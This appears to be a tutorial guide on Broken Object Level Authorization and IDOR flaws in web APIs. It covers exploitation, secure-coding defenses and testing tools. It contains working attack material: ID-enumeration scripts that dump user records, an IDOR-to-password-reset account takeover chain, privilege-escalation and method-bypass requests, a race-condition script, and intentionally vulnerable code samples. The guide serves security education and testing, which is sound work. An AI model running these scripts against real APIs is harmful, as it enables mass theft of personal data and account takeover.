Complete guide to understanding, exploiting, and preventing Broken Object Level Authorization and Insecure Direct Object Reference attacks
Broken Object Level Authorization (BOLA) and Insecure Direct Object Reference (IDOR) are closely related vulnerabilities that occur when applications fail to properly verify that a user has permission to access a specific object. When object identifiers are exposed and authorization checks are missing or inadequate, attackers can manipulate these references to access unauthorized data.
BOLA/IDOR is ranked #1 in the OWASP API Security Top 10 (2023) and remains a persistent threat because:
BOLA/IDOR occurs when applications use predictable object references and fail to verify authorization:
# VULNERABLE CODE
@app.route('/api/user/<user_id>')
def get_user(user_id):
# No authorization check!
user = database.get_user(user_id)
return jsonify(user)
# Anyone can access any user's data:
# GET /api/user/123
# GET /api/user/124
# GET /api/user/125
An attacker systematically manipulates object identifiers to access unauthorized resources:
# Legitimate request (user accessing their own data)
GET /api/user/1337 HTTP/1.1
Authorization: Bearer user1337_token
# Attack: Change the user ID
GET /api/user/1338 HTTP/1.1
Authorization: Bearer user1337_token
# ✅ Success! Attacker views user 1338's data
# Response: {"id": 1338, "email": "victim@example.com", "ssn": "123-45-6789"}
# User profiles
GET /api/users/12345
GET /profile?id=789
# Documents
GET /api/documents/567
GET /download?file_id=123
# Orders
GET /api/orders/98765
GET /invoice/4321
# Messages
GET /api/messages/555
DELETE /api/message/666
# Increment to enumerate all records
/api/invoice/INV-2024-0001
/api/invoice/INV-2024-0002
/api/invoice/INV-2024-0003
# Date-based patterns
/reports/2024-01-15-report.pdf
/backups/backup_20240115.zip
# Username-based
/api/profile/john.doe
/api/profile/jane.smith
# While harder to guess, still vulnerable if exposed
GET /api/document/550e8400-e29b-41d4-a716-446655440000
# UUIDs found in:
# - API responses containing references to other objects
# - Email notifications
# - Publicly accessible pages with hidden references
# - JavaScript code or HTML comments
Accessing resources belonging to users at the same privilege level:
# Regular user accessing another regular user's data
User A (ID: 100) → Access User B's data (ID: 101)
GET /api/profile/101
GET /api/orders/user/101
GET /api/messages/inbox/101
Accessing resources belonging to higher-privilege users:
# Regular user accessing admin resources
Regular User (ID: 1000) → Access Admin data (ID: 1)
GET /api/admin/users
GET /api/user/1 # Admin account
GET /api/settings/global
Systematically extracting all records:
# Automated enumeration script
for user_id in range(1, 100000):
response = requests.get(f'https://api.example.com/user/{user_id}',
headers={'Authorization': f'Bearer {token}'})
if response.status_code == 200:
save_data(response.json())
# Result: Complete database dump of all users
# URL parameters
/api/user?id=123 → /api/user?id=124
# POST body parameters
{"user_id": 123} → {"user_id": 124}
# Path parameters
/users/123/profile → /users/124/profile
# Headers
X-User-ID: 123 → X-User-ID: 124
# Cookies
user_id=123 → user_id=124
# UUIDs leaked in various locations:
# 1. API responses referencing related objects
GET /api/user/me
Response: {
"id": "current-user-uuid",
"manager_id": "manager-uuid", # ← Leaked UUID
"team_id": "team-uuid" # ← Leaked UUID
}
# 2. WebSocket messages
{"type": "notification", "document_id": "550e8400-e29b-41d4-a716-446655440000"}
# 3. Email notifications
"View document: https://app.com/doc/550e8400-e29b-41d4-a716-446655440000"
# 4. Weak UUID generation (predictable)
# Some implementations use timestamp-based UUIDs (v1)
# which can be predicted or brute-forced
# Attacker modifies object ownership
PUT /api/document/123
{
"title": "My Document",
"owner_id": 456, ← Changed from 123 to 456
"is_public": true
}
# Or escalate privileges
PATCH /api/user/123
{
"is_admin": true, ← Mass assignment + IDOR
"role": "admin"
}
# Access through parent-child relationships
GET /api/teams/5/members/99 # Team 5, but member 99 belongs to Team 7
GET /api/projects/10/files/55 # Project 10, but file 55 from Project 12
# Sub-resource manipulation
POST /api/invoice/123/items
{
"invoice_id": 456, # ← Different invoice
"item": "Unauthorized charge"
}
# Step 1: Create a resource
POST /api/documents
Response: {"id": 789, "status": "draft"}
# Step 2: Before it's published, guess other IDs
GET /api/documents/790 # Access someone else's draft
GET /api/documents/791 # Before they're made public
# No direct response, but action succeeds
DELETE /api/user/123/avatar
# Response: 200 OK (no content)
# Attacker deleted someone else's avatar
# Confirmation via side channel:
# - Email notification to victim
# - Change reflected in victim's account
# - Timing differences
# Base64 encoded IDs
/api/user/MTIz # MTIz = base64("123")
# Decode, modify, re-encode
/api/user/MTI0 # MTI0 = base64("124")
# Hashed references
/api/doc/5f4dcc3b5aa765d61d8327deb882cf99 # MD5 hash
# Rainbow tables or hash collision attacks
# Encrypted IDs (weak encryption)
/api/user/U2FsdGVkX1+...
# Cryptanalysis if weak key or algorithm
# Step 1: IDOR to get victim's data
GET /api/user/456
Response: {"id": 456, "email": "victim@example.com", "reset_token_id": 789}
# Step 2: IDOR to access reset token
GET /api/tokens/789
Response: {"token": "abc123..."}
# Step 3: Use token to reset victim's password
POST /api/reset-password
{"token": "abc123...", "new_password": "hacked"}
// Frontend checks can be bypassed
// Vulnerable JavaScript:
if (currentUser.id === documentOwnerId) {
showEditButton(); // Only UI restriction!
}
// Attack: Direct API call bypasses UI check
DELETE /api/document/123
# Works because backend doesn't verify!
# Weak check: Only validates session exists
GET /api/user/123
Authorization: Bearer valid_token_for_user_456
# Backend incorrectly assumes:
# "If they have a valid session, trust the requested ID"
# Should check: "Does this session's user own object 123?"
# GET request blocked
GET /api/admin/users/123
Response: 403 Forbidden
# Try other methods
POST /api/admin/users/123 # Might work!
PUT /api/admin/users/123 # Might work!
PATCH /api/admin/users/123 # Might work!
HEAD /api/admin/users/123 # Returns headers only
# Application expects JSON, validates JSON input
POST /api/user/123
Content-Type: application/json
{"role": "admin"} # Blocked
# Try XML
POST /api/user/123
Content-Type: application/xml
<user><role>admin</role></user> # Might bypass validation!
# Modern API v2 has proper auth
GET /api/v2/users/123
Response: 403 Forbidden
# Legacy API v1 might be vulnerable
GET /api/v1/users/123
Response: 200 OK (User data)
# Or try without version
GET /api/users/123
# If API supports ranges
GET /api/users?ids=1-1000 # Bulk export
GET /api/documents?ids=* # All documents
# Array parameter manipulation
GET /api/users?id[]=123&id[]=124&id[]=125
# Concurrent requests before auth check completes
import threading
def access_resource():
requests.get('https://api.example.com/premium/content/123')
# Send 100 simultaneous requests
threads = [threading.Thread(target=access_resource) for _ in range(100)]
for t in threads:
t.start()
# One might slip through before authorization caching kicks in
# Query for unauthorized data
query {
user(id: "victim-uuid") { # ← IDOR vulnerability
email
ssn
creditCards {
number
cvv
}
}
}
# Nested IDOR
query {
team(id: 5) {
members { # Should check if requester can view Team 5's members
id
email
salary # ← Sensitive data leak
}
}
}
✅ THE PRIMARY DEFENSE
# ✅ SECURE: Verify ownership before access
@app.route('/api/user/<user_id>')
@login_required
def get_user(user_id):
current_user = get_current_user()
# Check if user has permission
if not current_user.can_access_user(user_id):
return jsonify({"error": "Forbidden"}), 403
user = database.get_user(user_id)
return jsonify(user)
# Alternative: Filter by current user automatically
@app.route('/api/documents/<doc_id>')
@login_required
def get_document(doc_id):
current_user = get_current_user()
# Get document only if owned by current user
document = database.get_document(doc_id, owner=current_user.id)
if not document:
return jsonify({"error": "Not found"}), 404
return jsonify(document)
# Instead of exposing direct database IDs,
# use session-specific temporary references
# User session map
session_references = {
"ref_1": {"type": "document", "id": 12345, "user_id": 789},
"ref_2": {"type": "document", "id": 67890, "user_id": 789},
}
@app.route('/api/document/<reference>')
def get_document(reference):
# Look up actual ID from session map
ref_data = session_references.get(reference)
if not ref_data or ref_data['user_id'] != current_user.id:
return jsonify({"error": "Not found"}), 404
document = database.get_document(ref_data['id'])
return jsonify(document)
# URL becomes: /api/document/ref_1
# Attacker can't guess ref_2, ref_3, etc. for other users
import uuid
# Generate UUIDs for objects
document_id = str(uuid.uuid4())
# e.g., "550e8400-e29b-41d4-a716-446655440000"
# ⚠️ WARNING: UUIDs alone are NOT sufficient!
# Still need authorization checks!
# ✅ CORRECT: UUID + Authorization
@app.route('/api/document/<uuid:doc_id>')
def get_document(doc_id):
document = database.get_document(doc_id)
# Even with UUID, verify access!
if document.owner_id != current_user.id:
return jsonify({"error": "Forbidden"}), 403
return jsonify(document)
# Define access policies
class DocumentAccessPolicy:
@staticmethod
def can_view(user, document):
# Owner can always view
if document.owner_id == user.id:
return True
# Shared documents
if user.id in document.shared_with:
return True
# Public documents
if document.is_public:
return True
# Team members can view team documents
if document.team_id and user.team_id == document.team_id:
return True
return False
@staticmethod
def can_edit(user, document):
# Only owner can edit
return document.owner_id == user.id
# Use in endpoints
@app.route('/api/document/<doc_id>')
def get_document(doc_id):
document = database.get_document(doc_id)
if not DocumentAccessPolicy.can_view(current_user, document):
return jsonify({"error": "Forbidden"}), 403
return jsonify(document)
# ❌ BAD: Accept user-specified ID
@app.route('/api/orders/<order_id>')
def get_order(order_id):
return Order.query.get(order_id) # Any order!
# ✅ GOOD: Filter by current user in query
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = Order.query.filter_by(
id=order_id,
user_id=current_user.id # ← Enforced in query
).first_or_404()
return jsonify(order)
# ✅ BETTER: Use ORM relationships
@app.route('/api/orders/<order_id>')
def get_order(order_id):
# Get order through user relationship
order = current_user.orders.filter_by(id=order_id).first_or_404()
return jsonify(order)
# Prevent mass enumeration
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: current_user.id)
@app.route('/api/user/<user_id>')
@limiter.limit("100 per hour") # Limit enumeration attempts
def get_user(user_id):
# ... authorization checks ...
pass
# Advanced: Detect enumeration patterns
# - Sequential ID access
# - High volume of 403 responses
# - Rapid iteration through ID space
# Log all access attempts for monitoring
import logging
def log_access_attempt(user, resource_type, resource_id, granted):
logging.info({
'user_id': user.id,
'resource_type': resource_type,
'resource_id': resource_id,
'access_granted': granted,
'timestamp': datetime.now(),
'ip_address': request.remote_addr
})
@app.route('/api/document/<doc_id>')
def get_document(doc_id):
document = database.get_document(doc_id)
granted = current_user.can_access(document)
log_access_attempt(current_user, 'document', doc_id, granted)
if not granted:
return jsonify({"error": "Forbidden"}), 403
return jsonify(document)
# Framework middleware example
def require_ownership(resource_type):
def decorator(f):
@wraps(f)
def wrapper(*args, **kwargs):
resource_id = kwargs.get('id') or kwargs.get(f'{resource_type}_id')
if not current_user.owns(resource_type, resource_id):
abort(403)
return f(*args, **kwargs)
return wrapper
return decorator
# Use consistently across all endpoints
@app.route('/api/document/<doc_id>')
@require_ownership('document')
def get_document(doc_id):
# Authorization already checked by decorator
return jsonify(database.get_document(doc_id))
# Step 1: Access your own resource
GET /api/user/1337
Response: 200 OK (your data)
# Step 2: Increment/decrement the ID
GET /api/user/1338
GET /api/user/1336
GET /api/user/1
# Step 3: Check response
# 200 OK = VULNERABLE (you accessed someone else's data)
# 403 Forbidden = Good (authorization check present)
# 404 Not Found = Could be vulnerable (may be hiding existence)
# Create two test accounts (User A and User B)
# User A creates a resource, note its ID
POST /api/documents (as User A)
Response: {"id": 789, "owner": "user_a"}
# Try to access User A's resource as User B
GET /api/documents/789 (as User B)
# Should return 403, not 200!
# As regular user, try to access admin resources
GET /api/admin/users
GET /api/user/1 # Often admin is user ID 1
GET /api/settings/global
# Try admin actions
DELETE /api/user/123
PUT /api/user/456/role {"role": "admin"}
# Actions without direct response
DELETE /api/user/123/profile-picture
PUT /api/settings/456 {"theme": "dark"}
# Verify via:
# - Check victim account
# - Email notifications
# - Audit logs
# - Timing differences
Manual and automated IDOR testing:
# 1. Burp Intruder for ID enumeration
# - Capture request: GET /api/user/123
# - Send to Intruder
# - Mark ID as payload position: GET /api/user/§123§
# - Payload type: Numbers (1-10000)
# - Filter responses with 200 status or specific length
# 2. Burp Extensions for IDOR
# - Autorize: Automatic authorization testing
# - AuthMatrix: Test authorization matrix
# - Auto Repeater: Replay requests with different users
# Configure Autorize in Burp:
# 1. Set up low-privilege user session token
# 2. Set up high-privilege user session token
# 3. Autorize automatically replays each request with different tokens
# 4. Flags when low-priv user can access high-priv resources
# Example detection:
# Request as Admin: GET /api/admin/users → 200 OK
# Auto-replay as User: GET /api/admin/users → 200 OK [VULNERABLE!]
# Active scan for IDOR
# 1. Spider application to discover endpoints
# 2. Run Active Scan with "Access Control Testing" enabled
# 3. Review alerts for unauthorized access
# Manual testing in ZAP
# - Use Request Editor to modify IDs
# - Compare responses between users
# - Fuzzer for ID enumeration
// Postman collection for IDOR testing
// Test: Enumerate user IDs
pm.test("IDOR Enumeration", function() {
const baseUrl = "https://api.example.com/user/";
for (let id = 1; id <= 100; id++) {
pm.sendRequest(baseUrl + id, function(err, response) {
if (response.code === 200) {
console.log(`Accessible ID: ${id}`);
console.log(response.json());
}
});
}
});
# Python script for IDOR testing
import requests
def test_idor(base_url, start_id, end_id, token):
vulnerable_ids = []
for user_id in range(start_id, end_id):
url = f"{base_url}/api/user/{user_id}"
headers = {"Authorization": f"Bearer {token}"}
response = requests.get(url, headers=headers)
if response.status_code == 200:
print(f"[+] Vulnerable: {user_id}")
vulnerable_ids.append(user_id)
elif response.status_code == 403:
print(f"[-] Protected: {user_id}")
else:
print(f"[?] Other: {user_id} - {response.status_code}")
return vulnerable_ids
# Usage
test_idor("https://api.example.com", 1, 1000, "your_token_here")
# Numeric IDs
/api/user/123 → /api/user/124
/api/order/999 → /api/order/1000
# Path parameters
/users/alice/profile → /users/bob/profile
/documents/123/download → /documents/456/download
# Query parameters
?user_id=123 → ?user_id=124
?file=report1.pdf → ?file=report2.pdf
# POST body
{"document_id": 789} → {"document_id": 790}
# Headers
X-User-ID: 123 → X-User-ID: 124
# Cookies
session_user=alice → session_user=bob
# UUIDs (when leaked)
/doc/550e8400-e29b-41d4-a716-446655440000
→ /doc/[uuid-found-in-response]
# Encoded references
/api/user/MTIz → /api/user/MTI0 (base64)
# ❌ DANGEROUS PATTERNS
# 1. No authorization check
def get_user(user_id):
return User.query.get(user_id) # Anyone can access any user!
# 2. Only checking authentication, not authorization
@login_required
def get_document(doc_id):
return Document.query.get(doc_id) # Logged in ≠ authorized!
# 3. Client-side authorization only
# Backend: Returns all data
# Frontend: Only shows if user.id === owner_id # Easily bypassed!
# 4. Trusting user input for ownership
def delete_file(file_id, owner_id):
# Attacker can send their own user_id!
if file.owner_id == owner_id: # Don't trust user input!
delete(file)
# 5. Sequential IDs without authorization
User.id = auto_increment # Predictable + no auth check = vulnerability
| Tool | Purpose | Best For |
|---|---|---|
| Burp Intruder | ID enumeration, fuzzing | Systematic testing of ID ranges |
| Autorize | Automated authorization testing | Replay requests with different users |
| AuthMatrix | Authorization matrix testing | Multiple roles/users at once |
| OWASP ZAP | Active scanning | Automated vulnerability detection |
| Postman | API testing, scripts | Custom enumeration scripts |
| Custom Scripts | Automated enumeration | Large-scale testing, reporting |
| ID Type | Predictability | Attack Difficulty | Example |
|---|---|---|---|
| Sequential Integer | Very High | Very Easy | 123, 124, 125... |
| Timestamp-based | High | Easy | 20240115123045 |
| Encoded ID | Medium | Medium | MTIz (base64) |
| UUID v4 | Very Low | Hard* | 550e8400-e29b... |
| UUID v1 | Medium | Medium | Contains timestamp |
* UUIDs can still be vulnerable if leaked in responses, emails, or client-side code